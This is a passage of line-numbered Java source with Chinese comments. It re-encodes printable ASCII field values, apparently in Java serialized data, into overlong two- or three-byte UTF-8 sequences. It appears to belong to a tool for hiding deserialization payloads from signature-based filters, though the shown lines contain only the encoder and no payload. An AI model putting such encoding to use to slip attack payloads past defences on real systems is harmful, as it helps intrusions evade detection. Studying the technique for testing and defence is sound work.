溢出 208 | if (length > 0xff || length < 0x00) 209 | return false; 210 | 211 | // 原始内容 212 | byte[] originalValue = new byte[length]; 213 | System.arraycopy(originalBytes, index + 3, originalValue, 0, length); 214 | // 非全部可见字符,可能存在的报错,不继续执行 215 | if (!isByteVisible(originalValue)) { 216 | return false; 217 | } 218 | 219 | index += 3 + length; 220 | encode(originalValue, type); 221 | 222 | index--; 223 | return true; 224 | } 225 | 226 | 227 | public static boolean isField(byte[] checkBytes, int index) { 228 | if (!(checkBytes[index] == Byte 229 | || checkBytes[index] == Char 230 | || checkBytes[index] == Double 231 | || checkBytes[index] == Float 232 | || checkBytes[index] == Integer 233 | || checkBytes[index] == Long 234 | || checkBytes[index] == Object_L 235 | || checkBytes[index] == Short 236 | || checkBytes[index] == Boolean 237 | || checkBytes[index] == Array)) { 238 | return false; 239 | } 240 | 241 | int length = ((checkBytes[index + 1] & 0xFF) << 8) | (checkBytes[index + 2] & 0xFF); 242 | if (length > 0xff || length < 0x00) 243 | return false; 244 | byte[] lengthBytes = new byte[length]; 245 | try { 246 | System.arraycopy(checkBytes, index + 3, lengthBytes, 0, length); 247 | } catch (Exception e) { 248 | return false; 249 | } 250 | 251 | return true; 252 | } 253 | 254 | /** 255 | * 加密 256 | * 257 | * @return 258 | */ 259 | public static void encode(byte[] originalValue, int type) { 260 | if (type == 3) { 261 | // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx 262 | int newLength = originalValue.length * 3; 263 | 264 | byteAdd((byte) ((newLength >> 8) & 0xFF)); 265 | byteAdd((byte) (newLength & 0xFF)); 266 | 267 | for (int i = 0; i < originalValue.length; i++) { 268 | char c = (char) originalValue[i]; 269 | byteAdd((byte) (0xE0 | ((c >> 12) & 0x0F))); 270 | byteAdd((byte) (0x80 | ((c >> 6) & 0x3F))); 271 | byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); 272 | } 273 | 274 | } else { 275 | // 2 byte format: 110xxxxx 10xxxxxx 276 | int newLength = originalValue.length * 2; 277 | 278 | byteAdd((byte) ((newLength >> 8) & 0xFF)); 279 | byteAdd((byte) (newLength & 0xFF)); 280 | 281 | for (int i = 0; i < originalValue.length; i++) { 282 | char c = (char) originalValue[i]; 283 | byteAdd((byte) (0xC0 | ((c >> 6) & 0x1F))); 284 | byteAdd((byte) (0x80 | ((c >> 0) & 0x3F))); 285 | } 286 | } 287 | 288 | 289 | } 290 | 291 | /** 292 | * 判断字节是否在可见字符的 ASCII 范围内 293 | * 294 | * @param bytes 295 | * @return 296 | */ 297 | public static boolean isByteVisible(byte[] bytes) { 298 | for (byte b : bytes) { 299 | if (b < 32 || b > 126) { 300 | return false; 301 | } 302 | } 303 | return true; 304 | } 305 | 306 | public static void byteAdd(byte b) { 307 | byte[] newBytes = new byte[resultBytes.length + 1]; 308 | System.arraycopy(resultBytes, 0, newBytes, 0, resultBytes.length); 309 | newBytes[resultBytes.length] = b; 310 | resultBytes = newBytes; 311 | } 312 | } 313 | --------------------------------------------------------------------------------